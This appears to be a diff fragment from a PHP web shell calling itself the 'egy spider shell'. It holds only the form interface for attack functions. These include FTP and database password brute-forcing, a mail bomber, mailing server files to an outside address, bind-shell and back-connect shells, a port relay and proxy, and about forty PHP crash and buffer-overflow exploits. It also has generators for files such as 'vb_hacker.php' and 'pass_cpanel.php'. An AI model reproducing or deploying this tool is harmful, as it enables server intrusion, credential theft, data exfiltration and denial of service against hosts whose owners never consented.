+
+
+echo "".$lang[$language.'_text94']."
";
+echo sr(25,"".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir));
+echo sr(25,"",in('radio','brute_method',0,'passwd',1)."".$lang[$language.'_text99']." ( ".$lang[$language.'_text95']." ) ");
+echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
+echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
+echo sr(25,"".$lang[$language.'_text37'].$arrow." ",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root"))));
+echo sr(25,"".$lang[$language.'_text135'].$arrow." ",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic'))));
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1']));
+
+
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text87']."
";
+echo sr(25,"".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
+echo sr(25,"".$lang[$language.'_text37'].$arrow." ",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
+echo sr(25,"".$lang[$language.'_text38'].$arrow." ",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("egy_spider@hotmail.com"))));
+echo sr(25,"".$lang[$language.'_text89'].$arrow." ",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
+echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',20,$dir));
+echo sr(25,"".$lang[$language.'_text90'].$arrow." ","FTP_BINARY FTP_ASCII ".in('hidden','dir',0,$dir));
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
+
+
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text100']."
";
+echo sr(25,"".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
+echo sr(25,"".$lang[$language.'_text37'].$arrow." ",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
+echo sr(25,"".$lang[$language.'_text38'].$arrow." ",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("egy_spider@hotmail.com"))));
+echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',20,$dir));
+echo sr(25,"".$lang[$language.'_text89'].$arrow." ",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
+echo sr(25,"".$lang[$language.'_text90'].$arrow." ","FTP_BINARY FTP_ASCII ".in('hidden','dir',0,$dir));
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
+
+
+echo $te." ".$fe."
";
+}
+
+
+
+
+{
+echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text103']."
";
+echo sr(25,"".$lang[$language.'_text105'].$arrow." ",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
+echo sr(25,"".$lang[$language.'_text106'].$arrow." ",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com"))));
+echo sr(25,"".$lang[$language.'_text107'].$arrow." ",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello EgY SpIdEr"))));
+echo sr(25,"".$lang[$language.'_text108'].$arrow." ",''.(!empty($_POST['text'])?($_POST['text']):("mail text here")).' ');
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
+
+
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text104']."
";
+echo sr(25,"".$lang[$language.'_text105'].$arrow." ",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
+echo sr(25,"".$lang[$language.'_text106'].$arrow." ",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com"))));
+echo sr(25,"".$lang[$language.'_text107'].$arrow." ",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("file from egy spider shell"))));
+echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',30,$dir));
+echo sr(25,"".$lang[$language.'_text91'].$arrow." ",in('radio','compress',0,'none',1).' '.$arh);
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
+
+
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text139']."
";
+echo sr(25,"".$lang[$language.'_text105'].$arrow." ",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir));
+echo sr(25,"".$lang[$language.'_text106'].$arrow." ",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com"))));
+echo sr(25,"".$lang[$language.'_text107'].$arrow." ",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello EgY SpIdEr"))));
+echo sr(25,"".$lang[$language.'_text108'].$arrow." ",''.(!empty($_POST['text'])?($_POST['text']):("flood text here")).' ');
+echo sr(25,"Flood".$arrow." ",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."Size(kb)".$arrow." ".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10)));
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
+
+
+echo $te." ".$fe."
";
+}
+
+
+
+
+{
+$select = '';
+if($mysql_on) $select .= 'MySQL ';
+if($mssql_on) $select .= 'MSSQL ';
+if($pg_on) $select .= 'PostgreSQL ';
+if($ora_on) $select .= 'Oracle ';
+if($mysqli_on) $select .= 'MySQLi ';
+if($msql_on) $select .= 'mSQL ';
+if($sqlite_on) $select .= 'SQLite ';
+$select .= ' ';
+
+
+echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up3.div('id36').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text134']."
";
+
+
+echo sr(35,"".$lang[$language.'_text80'].$arrow." ",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute'));
+echo sr(35,"".$lang[$language.'_text111'].$arrow." ",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' : '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
+echo sr(35,"".$lang[$language.'_text39'].$arrow." ",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
+echo sr(25,"",in('radio','brute_method',0,'passwd',1)."".$lang[$language.'_text99']." ( ".$lang[$language.'_text95']." ) ");
+echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
+echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
+echo sr(35,"".$lang[$language.'_text37'].$arrow." ",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
+echo sr(25,"".$lang[$language.'_text135'].$arrow." ",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic'))));
+echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1']));
+
+
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text40']."
";
+
+
+echo sr(35,"".$lang[$language.'_text80'].$arrow." ",$select);
+echo sr(35,"".$lang[$language.'_text111'].$arrow." ",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' : '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
+echo sr(35,"".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow." ",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' : '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(35,"".$lang[$language.'_text36'].$arrow." ",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' . '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
+echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."".$lang[$language.'_text41'].$arrow." ",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
+echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
+
+
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text83']."
";
+
+
+echo sr(35,"".$lang[$language.'_text80'].$arrow." ",$select);
+echo sr(35,"".$lang[$language.'_text111'].$arrow." ",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' : '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
+echo sr(35,"".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow." ",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' : '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(35,"".$lang[$language.'_text39'].$arrow." ",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
+echo sr(35,"".$lang[$language.'_text84'].$arrow." ".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
+echo $te."".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))." ".in('submit','submit',0,$lang[$language.'_butt1'])."
";
+
+
+echo " ".$fe."
";
+}
+
+
+
+
+{
+echo $table_up1.div_title($lang[$language.'_text81'],'id555555').$table_up2.div('id555555').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text9']."
";
+echo sr(40,"".$lang[$language.'_text10'].$arrow." ",in('text','port',10,'11457'));
+echo sr(40,"".$lang[$language.'_text11'].$arrow." ",in('text','bind_pass',10,'r57'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text12']."
";
+echo sr(40,"".$lang[$language.'_text13'].$arrow." ",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
+echo sr(40,"".$lang[$language.'_text14'].$arrow." ",in('text','port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text22']."
";
+echo sr(40,"".$lang[$language.'_text23'].$arrow." ",in('text','local_port',10,'11457'));
+echo sr(40,"".$lang[$language.'_text24'].$arrow." ",in('text','remote_host',10,'irc.dalnet.ru'));
+echo sr(40,"".$lang[$language.'_text25'].$arrow." ",in('text','remote_port',10,'6667'));
+echo sr(40,"".$lang[$language.'_text26'].$arrow." ","datapipe.pl datapipe.c ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
+echo $te." ".$fe.$fs."".$ts;
+echo "Proxy
";
+echo sr(40,"".$lang[$language.'_text10'].$arrow." ",in('text','proxy_port',10,'31337'));
+echo sr(40,"".$lang[$language.'_text26'].$arrow." ","Perl ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
+echo $te." ".$fe."
";
+}
+echo $table_up1.div_title($lang[$language.'_text81'],'id5525555').$table_up2.div('id5525555').$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text9']."
";
+echo sr(40,"".$lang[$language.'_text10'].$arrow." ",in('text','port1',35,'9999').ws(4).in('submit','submit',0,$lang[$language.'_butt3']));
+echo $te." ".$fe."
";
+
+
+echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."".$ts;
+echo "".$lang[$language.'_text141']."
";
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit [pack()]').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF [unserialize()]').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'BoF ZendEngine').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [dl()] vuln').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [preg_match()](PHP<5.2.1)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Mem_limit [str_repeat()](PHP<5.2.1)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload [tempnam()](PHP<5.1.2)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF [wordwrap()](PHP<5.1.2)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF [array_fill()](PHP<5.1.2)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF [substr_compare()](PHP<5.1.2)').$fe);
+echo $te." ".$ts;
+echo "".$lang[$language.'_text141']."
";
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Arr. Cr. 64b[unserialize()](PHP<5.2.1)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF [str_ireplace()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF [htmlentities()](PHP<5.1.6,4.4.4)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'BoF [zip_entry_read()](PHP<4.4.5)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF [sqlite_udf_decode_binary()](PHP<5.2.1)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'BoF [msg_receive()](PHP<5.2.1)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'BoF [php_stream_filter_create()](PHP5<5.2.1)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'BoF [unserialize()](PHP<4.4.4)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos21').in('submit','submit',0,'BoF [gdImageCreateTrueColor()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos22').in('submit','submit',0,'BoF [gdImageCopyResized()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos23').in('submit','submit',0,'DoS [iconv_substr()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos24').in('submit','submit',0,'DoS [setlocale()](PHP<5.2.x)').$fe);
+echo $te." ".$ts;
+echo "".$lang[$language.'_text141']."
";
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos25').in('submit','submit',0,'DoS [glob()] 1 (PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos26').in('submit','submit',0,'DoS [glob()] 2 (PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos27').in('submit','submit',0,'DoS [fnmatch()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos28').in('submit','submit',0,'BoF [imagepsloadfont()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos29').in('submit','submit',0,'BoF mSQL [msql_connect](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos30').in('submit','submit',0,'BoF [chunk_split()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos31').in('submit','submit',0,'BoF [php_win32sti.dl](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos32').in('submit','submit',0,'BoF [php_iisfunc.dll](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos33').in('submit','submit',0,'BoF [ntuser_getuserlist()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos34').in('submit','submit',0,'DoS [com_print_typeinfo()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos35').in('submit','submit',0,'BoF [iconv()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos36').in('submit','submit',0,'BoF [iconv_m_d_headers()](PHP<5.2.x)').$fe);
+echo $te." ".$ts;
+echo "".$lang[$language.'_text141']."
";
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos37').in('submit','submit',0,'BoF [iconv_mime_decode()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos38').in('submit','submit',0,'BoF [iconv_strlen()](PHP<5.2.x)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos39').in('submit','submit',0,'BoF [printf()](PHP<5.2.5) and prior').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos40').in('submit','submit',0,'BoF [mssql_connect(), mssql_pconnect()](PHP<4.4.6) and prior').$fe);
+/*echo sr(10,"",$fs.in('hidden','cmd',0,'dos').in('submit','submit',0,'BoF [()](PHP<5.2.x)').$fe);*/
+echo $te."
";
+echo $fs.$table_up1.div_title($lang[$language.'_text211'],'id11111').$table_up2.div('id11111').$ts;
+echo "".$lang[$language.'_text213']."
";
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ",in('text','htacces',10,'.htaccess').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
+echo "".$lang[$language.'_text218']."
";
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ",in('text','egy_ini',10,'ini.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
+echo "".$lang[$language.'_text228']."
";
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ",in('text','egy_vb',10,'vb_hacker.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
+echo "".$lang[$language.'_text230']."
";
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ",in('text','egy_cp',10,'pass_cpanel.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
+echo $te.''.$table_end1.$fe;
+{
+
+
+
+
+
+
+echo $te." ".$fe."